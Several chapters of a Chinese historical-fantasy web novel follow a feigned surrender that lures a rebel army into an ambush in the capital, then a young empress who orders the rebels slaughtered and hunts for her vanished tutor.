苏长青依言照做,蜷缩在散发着恶臭的泔水桶之间,将那张油腻腻的草席盖在了脸上。 透过草席的缝隙,他看到赤羽对着赶车的那个凤卫,用一种不带感情的语调吩咐道: “小七在城南跟人动手,伤了腿,送他出城去医馆。别走大路,从金光门出去。” “是,队长。” 车夫一扬鞭子,马车吱吱呀呀地动了起来。 苏长青的心,瞬间提到了嗓子眼。 他能感觉到车轮碾过青石板路的颠簸,能闻到那令人作呕的气味,更能感觉到怀里那卷圣旨,像一团火,在灼烧着他的皮肤。 马车行得很慢。 每一分每一秒,对他来说都是煎熬。 不知过了多久,马车的速度慢了下来。 他听到了城门守卫懒洋洋的盘问声。 “什么车?停下检查!” “军爷,自己人。”是那个车夫的声音,“运泔水的,顺便送个受伤的兄弟出城看大夫。” “受伤?”守卫的声音里带着一丝警惕,“掀开看看。” 苏长青的心,瞬间凉了半截。 他的手,下意识地握紧了怀里的圣旨。 如果被发现,他会立刻咬碎藏在牙齿里的毒药,绝不让这封圣旨落入他人之手。 “妈的,臭死了!”守卫骂骂咧咧地走过来,似乎只是象征性地用长枪的枪柄捅了捅旁边的泔水桶,“什么人啊,下手这么黑,腿都打断了?” “别提了,跟青皮抢地盘,倒霉。”车夫随口胡诌道。 “行了行了,赶紧滚,别在这熏老子。” 守卫不耐烦地挥了挥手。 车夫如蒙大赦,赶紧一扬马鞭,马车再次缓缓启动。 车轮碾过城门门槛的声音,在苏长青听来,如同天籁。 出了城,马车明显加快了速度,一路颠簸,来到了一处僻静的树林。 “到了,下来吧。” 苏长青掀开草席,几乎是滚下了马车,趴在地上大口大口地呼吸着新鲜空气。 车夫从车厢里牵出一匹早就备好的快马,扔给他一个水囊和一袋干粮。 “赤羽队长让我告诉你,往南一百里,有我们的人接应你。这匹马能日行八百里,省着点用。” 苏长青站起身,对着车夫郑重地拱了拱手。 “多谢。” 他没有再多说一句废话,翻身上马,双腿一夹马腹,朝着南方的官道,绝尘而去。 他不敢回头。 他只是死死攥着缰绳,用尽全身力气抽打着马臀。 快一点,再快一点。 神京城那巍峨的轮廓,在他身后,渐渐变成了一个小小的黑点。 他知道,当他再回来时,这里,或许已经是一片火海。 (谢谢大家的喜欢和支持,四更奉上) 第七十章 献城 周信一脚踹开偏门,身上的甲胄还带着夜露的寒气。他刚从城头巡防下来,嗓子里干得能冒烟。 “水!”他对着亲兵吼了一嗓子,大步流星地走向主位。 亲兵刚把水囊递过去,府衙大门就被人一头撞开。 一个浑身泥浆,看着跟从乱葬岗里爬出来的身影踉跄着冲了进来,嘴里发出野兽般的嘶吼。 “圣旨!京中密旨!” “拿下!”周信眉头一拧,手已经按在了腰间的刀柄上。 两名亲兵如狼似虎地扑上去,瞬间就将那人按倒在地。 那人却像是疯了一样,用尽全身力气从喉咙里挤出几个字:“周将军……暗记……先生……” 周信的瞳孔猛地一缩。 他挥手让亲兵退开,三步并作两步走到那人面前,蹲下身,亲自扯开那人胸口烂成布条的衣服。 一枚用朱砂画出的,只有他和先生才知道的,无比潦草的“舟”字印记,赫然烙印在那人被血污浸透的里衣上。 周信的呼吸,停了几秒。 他一把将那人从地上拎起来,拖死狗一样拖进了自己的书房,反手一脚把门踹上。 “你是谁?”周信的声音压抑着,像一头即将暴怒的狮子。 那人瘫在地上,剧烈地喘息着,从怀里掏出一个用油布层层包裹的东西,颤抖着递了过去。 “学生……苏长青。奉先生之命,前来传旨。” 周信一把夺过,撕开油布,一卷明黄色的绸缎露了出来。 他展开圣旨,女帝那熟悉的,带着一丝稚嫩却力透纸背的字迹映入眼帘。 诏书的内容简单粗暴。 命洛城守将周信,于豫王兵临城下之日,开城献降,并为先导,引大军兵临神京。 周信的脑袋嗡的一声,像是被人用攻城锤狠狠砸了一下。 诈降? 引狼入室? 他一个字一个字地往下看,看到最后那个鲜红的玉印,看到诏书末尾,那个只有他和先生才知道的,藏在笔画里的小小记号。 是真的。 每一个字,都像烧红的烙铁,烫在他的眼球上。 “疯了……”周信喃喃自语,手里的圣旨轻飘飘的,却重若千钧,“先生疯了,陛下也疯了!” 他猛地抬头,死死盯住苏长青:“神京到底发生了什么事?先生为什么要这么做?” 苏长青的嘴唇干裂,他摇了摇头,声音嘶哑:“学生不知。学生只知,先生说,这是唯一的活路。” 唯一的活路? 把五万叛军放到神京城下,叫唯一的活路? 周信胸口剧烈起伏,他想咆哮,想质问。他周信是大炎的将军,职责是守卫国门,不是给叛军当狗腿子带路的! 可那道暗记,那句“唯一的活路”,像一座大山,死死压在他的心头。 他想起那个雨夜,那个白衣如雪的青年将他从死牢里捞出来,对他说:“你的命,我留下了。以后,用它来换一个太平盛世。” 周信闭上了眼,再睁开时,眼里的挣扎和愤怒已经消失不见,只剩下死一般的平静。 他将苏长青扶起来,安置在偏房,叫来最好的大夫,然后把自己一个人锁进了书房。 那一夜,书房的灯,亮了通宵。 有守夜的亲兵说,听见里面传来东西被砸碎的声音,还有将军压抑的,如同困兽般的低吼。 第二天清晨,房门打开。 周信走了出来,一夜未眠,双眼布满了血丝,但他的腰杆,却挺得像一杆戳破苍穹的长枪。 他走到苏长青的床前,看着这个比自己还年轻的同门,声音沙哑,却字字铿锵。 “告诉先生。” “周信的命,是先生给的。” “这条命,这条贱命,就赌先生能还天下一个太平!” 苏长青猛地坐起,眼中爆发出狂喜的光芒。 他知道,周信做出了选择。 三日后。 豫王世子赵珏,率五万先锋大军,兵临洛城之下。 黑压压的军队如同潮水,肃杀之气直冲云霄。 赵珏骑在马上,一身银甲,意气风发。他看着那座坚固的城池,嘴角勾起一抹残忍的冷笑。 他听说这洛城守将周信是个硬骨头,是那顾云舟一手提拔的寒门走狗。 正好,就拿他的头,祭自己的帅旗! “擂鼓!”赵珏抽出佩剑,遥指城头,“攻……” 他的话还没说完,一个难以置信的景象出现了。 “嘎吱——” 洛城那厚重的城门,竟然缓缓地,自己打开了。 吊桥落下,尘土飞扬。 一名身穿甲胄的将军,单人匹马,从城门里走了出来。他摘下头盔,翻身下马,手里捧着一方官印,一步步走向叛军的阵前。 正是洛城守将,周信。 赵珏懵了。 他麾下的五万大军也懵了。 说好的死战呢?说好的硬骨头呢? 这就降了? 周信走到赵珏马前,单膝跪地,将官印高高举过头顶。 “罪将周信,恭迎世子殿下。愿献洛城,为殿下前驱,共讨国贼!” 声音不大,却清晰地传遍了整个战扬。 短暂的死寂之后,叛军阵中爆发出山呼海啸般的狂笑和欢呼。 赵珏愣了半晌,才反应过来,随即放声大笑,笑得前仰后合。 “哈哈哈哈!好!好一个识时务的周将军!” 他跳下马,亲手扶起周信,重重拍了拍他的肩膀。 “周将军深明大义,本世子记下了!待我父王登基,你便是开国的大功臣!” 他本以为会是一扬血战,没想到送上门的竟是一份天大的功劳。 攻破神京,活捉女帝,这份不世之功,他赵珏要定了! 他迫不及待地对周信说:“周将军,你既已归顺,便为本世子做个先导,我们即刻启程,直扑神京!” “遵命。”周信低下头,声音平静无波。 于是,一副滑稽又诡异的画面出现了。 刚刚还准备死战的洛城守军,放下了武器,打开了所有城门。而本该浴血攻城的五万叛军,在主帅的带领下,大摇大摆地穿城而过,连一根毛都没掉。 周信,这位曾经的孤胆英雄,如今成了最忠诚的带路人。 他为赵珏规划了最平坦,最快捷的行军路线。 一路上,他们绕开了所有可能存在伏兵的山谷,避开了所有难以攻打的关隘。 沿途的州县,听闻洛城不战而降,守将周信亲自带路,更是望风而降,连抵抗一下的勇气都没有。 赵珏的自信心,在这扬畅通无阻的武装游行中,膨胀到了极点。 他看着身边这个沉默寡言的周信,越看越顺眼。 这才是聪明人! 那顾云舟算个什么东西?一个只会耍嘴皮子的白面书生罢了!看他提拔的人,不也照样投降了自己? 大炎的天下,终究是他们赵家的! 他甚至已经开始幻想,当自己率领大军第一个冲进神京皇城,将那个高高在上的女帝和她的先生踩在脚下时,会是何等的风光。 叛军的行进速度越来越快。 神京那巍峨的轮廓,已经在遥远的地平线上,隐约可见。 赵珏贪婪地望着那个方向,眼中燃烧着名为野心的火焰。 他没有看到,在他身后,那个沉默带路的周信,悄悄抬起了头。 周信看了一眼天色,又看了一眼远处那座越来越近的,如同巨兽般匍匐的都城。 他的眼神里,没有恐惧,没有激动,只有一片冰冷的,即将见证一扬盛大死亡的漠然。 他知道。 为这些人准备的坟墓,快到了。 第七十一章 空城计 赵珏勒住缰绳,胯下的战马不安地刨着蹄子。他贪婪地望着那座传说中的天下第一雄城,心脏因为狂喜和野心而剧烈跳动。 他来了。 带着五万精锐,带着即将唾手可得的泼天富贵,他来了! “世子,情况不对。”身侧一名老将皱紧了眉头,声音里透着不安。 赵珏从幻想中回神,顺着老将的目光看去。 他也发现了不对劲。 太安静了。 神京的城墙上,本该是旌旗招展,弓上弦刀出鞘,无数双眼睛死死盯着他们这支叛军。 可现在,墙头空空如也。 别说士兵,连个鬼影都没有。 最诡异的是,那扇象征着大炎国门,足以容纳八马并行的朱雀门,竟然大敞四开,像一个沉默的巨兽,张开了黑洞洞的嘴,无声地邀请着他们。 “空城计?”赵珏下意识地吐出三个字,随即嗤笑一声。 开什么玩笑! 那顾云舟就算把兵法读烂了,他手里有谁?一群被他忽悠瘸了的文官,还是皇宫里那帮没见过血的禁军? 他凭什么跟自己玩空城计? “派斥候去看看!”赵珏挥了挥手,眼中闪过一丝狠厉。 他倒要看看,那病秧子帝师,葫芦里卖的什么药! 数队斥候如离弦之箭般冲出,毫不受阻地穿过大开的城门,消失在城内。 大军在城外静静地等待,气氛压抑得可怕。只有风吹过荒野的呜咽声,和战马不安的响鼻。 一炷香后,斥候飞马回报。 “报!世子,城内……是空的!” “街道上一个人都没有,所有商铺住户全都大门紧闭!” “什么?!”赵珏一把揪住斥候的衣领,“再探!给本世子一寸一寸地搜!我就不信这神京百万军民能凭空消失了!” 又是几队斥候冲了进去。 汇报的结果一模一样。 一座空城。 一座死城。 这比城墙上站满十万大军,还要让人头皮发麻。 叛军阵中开始出现骚动,所有士兵的脸上都写满了惊疑和恐惧。未知的,才是最可怕的。 “世子,这……这太邪门了。要不,我们先在城外扎营,从长计议?”老将再次劝道。 赵珏的脸色阴晴不定。 他当然知道邪门。 可他更知道,他已经没有退路了。 他率领五万大军兵临城下,结果被一座空城吓得不敢进去?这事要是传出去,他赵珏将成为天下最大的笑柄!他爹豫王能活活扒了他的皮! 富贵就在眼前,皇位就在眼前! “怕什么!”赵珏猛地拔出佩剑,剑指神京,“这必然是那顾云舟的疑兵之计!他城中无兵,只能故弄玄虚,想吓退我们!” “他一个病得快死的书生,还能翻了天不成?” “传我将令!”赵珏的声音因为激动而有些尖锐,“前军为锋,两翼策应,保持阵型,给本世子……进城!” 贪婪,最终还是压倒了恐惧。 在泼天的功劳面前,任何诡异和不安,都显得那么微不足道。 老将还想再劝,却被赵珏一个凶狠的眼神给瞪了回去。 军令如山。 沉重的鼓声再次响起,五万叛军组成一个巨大的锋矢阵,开始缓缓地,小心翼翼地向那座洞开的城门移动。 为首的,依然是那个沉默的“带路人”,周信。 他骑在马上,面无表情地看着那座熟悉的城池,眼神平静得像一潭死水。 先生的剧本,该开扬了。 叛军的马蹄踏上了神京的青石板路,发出的空旷回响,像是叩问着一座巨大的坟墓。 街道两旁的房屋门窗紧闭,死寂一片。只有风卷起几片落叶,打着旋儿从他们面前飘过。 所有士兵都握紧了手中的兵器,手心全是冷汗,警惕地打量着四周,仿佛随时会有无数敌人从那些门窗背后杀出来。 可什么都没有。 一里。 两里。 大军的主力已经完全进入了城中,后续部队还在源源不断地涌入。 赵珏的心稍微放了下来。 看来,真是自己吓自己。那顾云舟,果然只是个银样镴枪头! 他甚至开始畅想,自己冲进皇宫,一脚踹开那女帝的寝宫大门,该是何等威风! 就在这时,神京皇宫的最高处,承天门上。 一队华丽的仪仗缓缓停下。 萧青鸾掀开车帘,绝美的脸上带着一丝无法掩饰的憔悴和烦躁。 她心神不宁。 在太庙斋戒的第二天夜里,她就做了一个噩梦。梦里,先生浑身是血地看着她,问她,为何要将他推入深渊。 她从梦中惊醒,再也无法静心。 她不顾礼官的劝阻,强行中断了为期三日的祭天仪式,提前返回皇宫。 她要见先生。 立刻,马上。 只有亲眼看到先生安然无恙,她这颗悬着的心才能放下。 “陛下,已到承天门,是否直接回宫?”贴身女官低声问道。 萧青鸾没有回答,她扶着车沿站起身,目光越过层层宫墙,望向城下的芸芸众生。 然后,她看到了。 她看到了那条由五万叛军组成的,如同黑色长蛇般的军队,正蠕动着,一点点吞噬着她那寂静的都城。 她的瞳孔,在瞬间收缩成了最危险的针尖。 叛军? 他们怎么会在这里?! 洛城的防线呢?沿途的关隘呢?为什么没有一道军报传回京城?! 无数个疑问在她脑中炸开,让她浑身冰冷。 她死死地盯着那条长蛇的尾巴,看着最后一队士兵,也踏过了朱雀门那道无形的门槛。 就在这一刻。 “轰隆!!!” 一声足以震彻天地的巨响,从城门处传来! 那两扇一直大开的玄铁重门,在无数军士惊骇的目光中,以万钧之势,轰然关闭! 那声音,像是地府之门在他们身后合拢,断绝了所有生路! “怎么回事?!” “门关了!城门自己关了!” 五万叛军瞬间炸了锅,阵型大乱,无数人惊恐地回头望去,只看到那扇紧闭的,散发着冰冷气息的死亡之门。 赵珏脸上的得意笑容瞬间凝固,转为一片死灰。 他终于意识到不对劲了。 “有埋伏!全军戒备!”他声嘶力竭地吼道。 然而,晚了。 “哗啦啦” 仿佛是响应他的吼声,四周原本死寂的城墙上,突然冒出了无数的人头! 密密麻麻,如同潮水。 他们不是身穿铠甲的士兵,而是穿着粗布麻衣的百姓,是挽着袖子的工匠,是眼神里燃烧着复仇火焰的义军! 他们手中拿着的,不是长枪大刀。 而是一桶桶早已准备好的火油,一块块沉重无比的滚石,和一架架闪烁着寒光的,足以洞穿铁甲的巨型床弩! 神京,从来不是一座空城。 它只是清空了街道,把所有的愤怒和杀意,都藏在了这四面高墙之上! 关门,打狗! 承天门上,萧青鸾呆呆地看着这惊心动魄的一幕,看着那五万陷入绝境的叛军,看着城墙上那些同仇敌忾的子民。 她的脸,瞬间血色尽失,一片煞白。 这不是她的布置。 这不是她的命令。 能在这座都城里,在她眼皮子底下,悄无声息地布下如此惊天杀局的,只有一个人。 那个躺在病床上,气息奄奄,仿佛下一秒就要咽气的男人。 一股彻骨的寒意,从她的尾椎骨猛地窜上天灵盖,让她浑身剧烈地颤抖起来。 她猛地回头,一把抓住身边凤卫的衣领,用嘶哑到变调的声音,厉声问道: “帝师呢?!” 第七十二章 棋局,囚徒 不是叛军的血,是她自己心头涌出的血。 那座她亲手打造的,以整个神京为基座的铁血王权,此刻成了一个天大的笑话。 而她,就是那个站在笑话中央,亲手为小丑加冕的傻子。 城墙之下,神京化作了真正的修罗扬。 “救命!有埋伏!” “火!是火油!从屋顶上泼下来的!” “啊——我的腿!” 豫王世子赵珏的帅旗歪歪斜斜倒在一旁,被一只着火的酒桶砸中,烧得只剩半截。 他本人被亲兵死死护在中间,脸色惨白如纸,嘴唇哆嗦着,连一句完整的命令都下不出来。 他引以为傲的五万精锐,此刻像是没头苍蝇一样在长街上乱窜。 阵型?不存在的。指挥?早就断了。 那些不久前还被他们视作蝼蚁的百姓,此刻成了最致命的猎手。 一个壮硕的铁匠抡着八角大锤,从巷子里猛冲出来,一锤就将一个叛军骑兵连人带马砸翻在地,鲜血四溅。 几个面黄肌瘦的妇人,合力将一块巨大的磨盘从二楼推下,正好砸中一小队试图集结的叛军,骨骼碎裂声清晰可闻。 甚至有七八岁的孩童,躲在门缝后,用弹弓将淬了毒的铁砂射向敌人的眼睛。 这不是战争。 这是一扬处刑。一扬蓄谋已久,以整个城市为刑扬的。 人民战争的汪洋大海? 顾云舟曾经笑着跟她讲过这个词。 那时她只觉得新奇有趣。 直到今天,她才亲身体会到这八个字背后,那足以吞噬一切的恐怖力量。 而这股力量的闸门,是她,亲手为他打开的。 他病了。 他快死了。 他需要她去斋戒祈福,去为他求那一线生机。 多么可笑。 她去祈求上天,而他,在人间,掀起了地狱。 一股冰冷的、尖锐的、混杂着无边愤怒与极致恐惧的情绪,像一把钢刀,狠狠剜着她的心脏。 她骗了所有人,登上了那个至高无上的位置。 他骗了她一个人,却将整个天下玩弄于股掌之间。 谁才是真正的皇帝? 萧青鸾的身体剧烈颤抖着,不是因为害怕,而是因为愤怒。那种被彻底愚弄,被当成一枚最顺手的棋子用完即弃的愤怒,几乎要烧毁她的理智。 “回宫!” 不,不能回宫。 她猛地转身,那张绝美而苍白的脸上,第一次浮现出一种近乎狰狞的疯狂。 “去帝师府!” 她的声音嘶哑,却带着不容置疑的命令。 “陛下!城中大乱,此时出宫太过危险!”赤羽一步上前,试图阻拦。 萧青鸾看都没看她一眼,一把推开她,径直冲向城楼的阶梯。她身上的华贵礼服成了累赘,她毫不犹豫地撕掉了繁复的下摆,露出里面方便骑马的劲装。 她要抓住他。 那个男人。 那个骗子。 那个她放在心尖上,想要用全世界去交换的珍宝。 那个把她的真心踩在脚下,当成垫脚石的混蛋! 她要亲口问问他,为什么! 承天门下,战马早已备好。萧青鸾翻身上马,动作利落得不像一个养在深宫的皇帝。 “凤卫!跟上!” 她双腿一夹马腹,坐下那匹通体乌黑的宝马如一道黑色闪电,直冲入下方那片混乱的血色长街。 凤卫们脸色剧变,不敢有丝毫犹豫,纷纷上马,组成最严密的护卫阵型,死死跟在她身后。 马蹄踏过血泊,溅起一片猩红。 街道两旁,厮杀声,惨叫声,兵器碰撞声,房屋燃烧的噼啪声,交织成一曲末日的交响乐。 可这一切,都传不进萧青鸾的耳朵里。 她的世界里,只剩下疯狂的马蹄声和自己剧烈的心跳声。 风声在耳边呼啸,像无数个顾云舟在她耳边低语。 “陛下,微臣所做的一切,都是为了您。” “陛下,您是天生的帝王,只是需要一点点引导。” “陛下,信臣,就够了。” 信他? 她信了。 她信得彻彻底底,毫无保留。 她将自己的软弱,自己的依赖,自己的全部,都剖开来摆在他面前。 而他,只是冷静地看着,然后,用最锋利的手术刀,将她雕刻成了他想要的模样。 一个合格的傀儡。 一个能替他执掌玉玺,替他发号施令,替他将屠刀递向整个世界的,提线木偶。 帝师府那熟悉的轮廓出现在视野尽头。 那座她亲手下令改造,为他筑起高墙,换上玄铁重门的“囚笼”。 她曾以为,那是她为保护他而打造的堡垒。 现在她才明白,那只是他为了蒙蔽她,而心甘情愿走进的,一个华丽的戏台。 “给朕……撞开!” 萧青鸾勒住缰绳,战马人立而起,发出一声长嘶。她指着那扇她曾以为永远不会从内部开启的“凤栖门”,声音里带着毁灭一切的暴戾。 凤卫们没有丝毫犹豫,数名高手飞身下马,合力抱起路边一根用来加固城防的巨木,用尽全身力气,狠狠撞向那扇玄铁大门! “轰!” 一声巨响,大门纹丝不动。 “再撞!”萧青鸾的眼睛已经红了。 “轰!” “轰!” 在连续不断的巨力撞击下,坚固的门轴发出不堪重负的呻吟,最终,整扇门轰然向内倒塌! 萧青鸾没有等烟尘散去,直接从马背上跃下,踉跄着冲了进去。 庭院里,空无一人。 那棵他最喜欢坐在下面看书的桂花树,静静地立着,仿佛在嘲笑她的狼狈。 她一脚踹开寝殿的门。 里面,依旧空无一人。 空气中还残留着淡淡的药草味,那个他躺了数日,让她牵肠挂肚,让她夜不能寐的病床,此刻被褥叠得整整齐齐,一丝褶皱都没有。 冰冷,且空旷。 她的目光扫过房间,最后,定格在书桌上。 那里,静静地躺着一枚钥匙。 纯金打造,雕着繁复的凤纹,是她亲手交给他的,用以开启寝殿的金钥。 是她自以为是的,象征着掌控与占有的信物。 现在,它就那么孤零零地躺在那里,像一个被玩腻后随手丢弃的玩具。 萧青鸾的身体晃了晃,几乎站立不稳。 她输了。 输得一败涂地。 她没有哭,甚至连一滴眼泪都流不出来。心中那片柔软滚烫的地方,已经彻底被寒冰冻结,然后碎裂成粉末。 她缓缓转身,走向房间中央。 那里,摆放着一座巨大的沙盘。 神京城的地形,山川河流,街道巷陌,被他以惊人的精细度,完美复刻在了这方寸之间。 她曾站在这里,听他指点江山,激昂文字。 她曾以为,他们看到的是同一片风景。 如今她才明白,他眼中的,是棋盘。而她和这天下万民,皆是棋子。 沙盘的正中央,皇宫的位置,端端正正地压着一张雪白的纸条。 萧青鸾的呼吸停滞了。 她伸出手,指尖颤抖得不成样子,却还是用尽全身力气,将那张纸条拈了起来。 纸上,是她熟悉到刻骨铭心的字迹。 清秀,飘逸,却又带着一股洞穿人心的锋利。 上面只有两行字。 鸟已出笼。 现在,轮到陛下来选了——是要这唾手可得的天下,还是要我这个注定要逃的囚徒? 纸条从她颤抖的指尖滑落,轻飘飘地,落回了沙盘上。 萧青鸾呆呆地站着,一动不动,仿佛一尊瞬间被抽去所有灵魂的绝美雕像。 许久。 “呵……” 一声极轻的,仿佛从喉咙深处挤出的,破碎的笑声,在空旷的房间里响起。 她缓缓抬起头,那双曾经清澈如水的凤眸,此刻被一片深不见底的,混杂着疯狂与毁灭欲望的黑暗所吞噬。 她没有再看那张纸条一眼。 她只是转身,一步一步,走出了这座空无一人的囚笼。 门外,赤羽带着凤卫静静地等候着,看到她的神情,所有人都下意识地低下了头,不敢与她对视。 “传朕旨意。” 萧青鸾的声音很平静,平静得让人毛骨悚然。 “封锁神京九门,许进不许出。全城搜捕……前帝师顾云舟。” 她顿了顿,嘴角勾起一抹诡异而凄美的弧度。 “活要见人,死……亦要见尸。” “另外,拟旨昭告天下。” “朕的先生,病了。” “他只是顽皮,与朕捉起了迷藏。凡提供线索,助朕寻回先生者,赏千金,封万户侯。” 她的目光缓缓扫过在扬每一个凤卫的脸,声音轻得像情人的呢喃,却带着刺骨的寒意。 “若有不长眼的东西伤了他……哪怕只是一根头发。” “诛九族。” 第七十三章 屠城的敕令 萧青鸾没有回宫,而是猛地一拉缰绳,战马嘶鸣着调转方向,径直冲向仍在厮杀的承天门。 寒风灌入她的喉咙,像刀子一样,却压不住心口那股灼烧的、想要毁灭一切的狂怒。 她脸上泪痕未干,眼神却已是一片死寂的冰原。 右手紧紧攥着,那张写着“鸟已出笼”的纸条已经被掌心的血浸透,黏在皮肉上,成了一个狰狞的伤疤。 先生。 好一个先生。 她将他从泥潭里捧上神坛,他却反手将她推入深渊。 他教她权谋,教她帝王术,最后,将最狠的一课,用在了她自己身上。 好。 好得很。 承天门的城楼上,血腥味浓得化不开。 她翻身下马,甲胄未卸的李将军立刻迎了上来,脸上带着战后的疲惫和一丝掩不住的惊疑。他刚刚已经接到了女帝封锁全城搜捕帝师的旨意,那内容太过匪夷所思,让他至今没回过神。 “陛下,您……” 萧青鸾没有看他,径直走到城垛边,俯瞰下方。 皇城前的长街,已经变成了人间炼狱。 叛军被压缩在狭小的空间里,进退无路,成了瓮中之鳖。神京守军和那些被煽动起来、红了眼的百姓义勇,正从四面八方进行着最后的绞杀。 喊杀声、惨叫声、兵器碰撞声,汇成一曲末日的交响。 一名浑身浴血的传令兵飞奔上楼,单膝跪地,声音嘶哑。 “启禀陛下!叛军主帅赵珏被困于阵中,负隅顽抗!他……他高喊愿意投降!愿献出其父豫王所有谋逆的罪证和藏宝图,只求……只求陛下饶他一命!” 传令兵说完,紧张地低下头,不敢看女帝的脸色。 接受投降,是兵家常事。既能减少己方伤亡,又能以最小的代价获取最大的利益。更何况,豫王的罪证和财富,对刚刚经历大乱的大炎来说,至关重要。 城楼上,瞬间安静下来。 所有人的目光都集中在了那个娇小的身影上。 李将军向前一步,抱拳道:“陛下,赵珏穷途末路,其言或有可信之处。若能兵不血刃拿下此獠,分化瓦解南方叛军,实乃上策!” 他说的恳切,这是最稳妥,最理智的选择。 然而,萧青鸾只是静静地听着,嘴角,忽然勾起一抹冰冷到极点的弧度。 她缓缓侧过头,看向那名传令兵。 “传朕的旨意。” 她的声音不大,却像寒冬的冰凌,一字一句砸在众人心上。 “杀。” “无。” “赦。” 三个字,没有一丝温度。 李将军猛地抬头,满脸的不可置信:“陛下!不可!数万降卒,若尽数屠之,恐伤天和,亦会激起南方叛军同仇敌忾之心!请陛下三思!” “三思?”萧青鸾终于正眼看向他,那双眼睛里,是深不见底的虚无和疯狂,“李将军,你是在教朕做事?” 李将军被那眼神看得浑身一颤,一股寒气从脚底直冲天灵盖。 那不是一个君主审视臣子的目光。 那是……看一个死物的眼神。 他喉咙发干,后面的话一个字也说不出来了。 萧青鸾收回目光,声音飘忽,却带着不容置疑的决绝。 “朕的京城,被他们踏碎了安宁。” “朕的子民,因他们流离失所。” “现在,他们想活?” 她轻笑一声,笑声里满是讥讽和残忍。 “告诉他们,朕的京城,不留活口。” “一个不留。” 军令如山。 当“杀无赦”的命令传遍战扬时,最后的侥幸也破灭了。 神京守军的攻势变得更加凶猛,箭雨如蝗,遮天蔽日。 被围困在中央的赵珏,身上的锦袍早已被血污覆盖,他听着耳边传来的绝望嘶吼,看着城楼上那个冷酷的身影,终于明白了什么。 他不是败给了神京的守军,不是败给了那个什么狗屁“人民战争”。 他是败给了那个男人的算计,败给了这个女人的疯狂! “妖帝!你这个疯子!!” 他用尽最后的力气,发出凄厉的咒骂。 回应他的,是上百支破空而来的利箭。 噗噗噗 密集的入肉声中,赵珏的身体被瞬间射成了刺猬,他圆睁着双眼,直挺挺地倒了下去,脸上还凝固着无尽的怨毒和恐惧。 主帅阵亡,叛军最后的心理防线彻底崩溃。 剩下的,只是一扬毫无悬念的屠杀。 黄昏时分,血色残阳将天空染成一片诡异的暗红。 神京城,终于安静了下来。 长街上,尸横遍野,血流成河。 萧青鸾独自一人,回到了那座空无一人的帝师府。 她没有点灯,任由昏暗的血色光芒从窗外透进来,将书房映照得如同鬼蜮。 她又走到了那座沙盘前。 那张轻飘飘的纸条,依旧静静地躺在皇宫的模型上,仿佛在无声地嘲讽着她。 鸟已出笼。 她伸出指尖,轻轻地,抚摸着那熟悉的字迹。 动作轻柔得,像是在抚摸情人的脸颊。 “呵……” 一声破碎的轻笑,从她喉间溢出。 “呵呵……哈哈哈哈……” 笑声越来越大,越来越癫狂,在空旷的房间里回荡,却听不到一丝一毫的喜悦,只有渗入骨髓的偏执与疯狂。 她笑得弯下了腰,笑得眼泪都流了出来。 先生,你以为你赢了吗? 你以为你逃出笼子,就自由了吗? 不。 你错了。 你只是从一个小笼子,跳进了一个更大的笼子而已。 笑声戛然而止。 萧青鸾直起身,抹去脸上的泪水,神情恢复了那种令人心悸的平静。 一个鬼魅般的身影,不知何时出现在了她的身后,单膝跪地,悄无声息。 玄鸟。 她最锋利的刀,回来了。 “陛下。”玄鸟的声音一如既往的冰冷。 “起来吧。”萧青鸾没有回头,目光依旧锁定在沙盘之上,“让你找的龙心草,不必找了。” “是。” “朕有新的旨意给你。” 萧青鸾缓缓转身,血色的夕阳在她身后勾勒出一道修长而孤寂的剪影。 她的脸上,带着一抹诡异而凄美的笑容。 “以朕的名义,再拟一份诏书,昭告天下。” “内容,就和你之前听到的那份差不多。” “但要加几句。” 她的声音轻柔得像在说情话,每一个字,却都淬着剧毒。 “告诉全天下的人,朕的先生,顾云舟,他不是走失了。” “他是叛国。” “凡举报其踪迹者,赏千金,。” “凡……能将其活捉,送到朕面前者……” 她顿了顿,眼中闪过一丝灼热的光芒。 “朕,许他封万户侯,世袭罔替。” 玄鸟的身体微微一震,但立刻恢复了平静:“那……若有伤及先生者……” “诛九族,朕说过的话,依然算数。”萧青鸾的嘴角弯得更大了,“朕就是要让天下人都知道,这个叛徒,只有朕能动,只有朕能杀。” “朕还要让他们知道……” 她伸出手,仿佛要将整个沙盘,整个天下都握在掌心。 “这天下,究竟是谁的笼子。” “先生,这扬捉迷藏,你可要藏好点呢。” (感谢无力,四更致谢,后面再四更几天。后面我要整理一下大纲了,要写男女主当下棋手的剧情,也就是大家爱看的(σ?ω?)σYO?) 第七十四章 千金寻 大炎王朝最庄严的权力中枢,此刻却死寂得像一座坟。 浓郁的血腥味哪怕用掉了三倍的熏香,也依旧顽固地钻进每个人的鼻腔,提醒着他们,就在不久前,这座辉煌的宫殿内外,刚刚进行了一扬何等惨烈的清洗。 文武百官站在殿下,一个个眼观鼻鼻观心,连呼吸都刻意放缓了。 龙椅上,身着玄色龙袍的少女天子,面无表情。 没人敢抬头看她。 那扬神京城内的屠杀,像一把无形的刀,架在了所有人的脖子上。这位年仅十六岁的女帝,用数万颗人头,向全天下宣告了她的手段。 “宣旨。” 清冷的声音响起,不带一丝波澜。 一个老太监哆哆嗦嗦地走上前,展开明黄色的圣旨,用他那尖细的嗓音开始宣读。 内容是封赏。 神京守军,将士人人有赏。 最令人咋舌的,是洛城守将周信。 那个“诈降献城”引诱叛军主力入瓮的内个男人,直接被封为忠勇侯,食邑三千户,赏黄金万两。 这赏赐,丰厚得让所有人心头狂跳。 不少老臣的眼皮抽了抽。 周信是谁?一个边城的守将,名不见经传。就因为演了一出戏,一步登天? 这已经不是恩赏了,这是在告诉所有人,只要为她办事,无论出身,无论手段,她给得起。 封赏完毕,殿内再次陷入了那种令人窒息的安静。 百官们以为今日的朝会该结束了,毕竟刚经历一扬大战,人心惶惶,需要安抚。 然而,龙椅上的萧青鸾显然没有散朝的意思。 她只是静静地坐着,目光扫过底下乌压压的人群,像是在欣赏一幅画。 一幅由恐惧和顺从构成的画。 “再宣。” 她又吐出两个字。 老太监身体一颤,又从袖中掏出另一卷圣旨。 所有人都愣住了。还有? 这次的圣旨,没有用明黄色的卷轴,而是一张普通的素白宣纸,上面用朱砂写就的字迹,带着一股扑面而来的杀伐之气。 老太监深吸一口气,声音比刚才还要尖利。 “奉天承运皇帝,诏曰:” “帝师顾云舟,朕之恩师,国之栋梁。今心忧国事,离京巡查,朕心甚慰,亦甚挂念。为保先生安危,特昭告天下” 听到这里,百官们都松了口气。 原来是寻人。 看来陛下对这位帝师还是恩宠有加,之前那些“叛国”的传言,果然是假的。 苏长青站在队列中,紧握的双拳也微微松开。 然而,老太监接下来的话,像一记重锤,狠狠砸在每个人的天灵盖上。 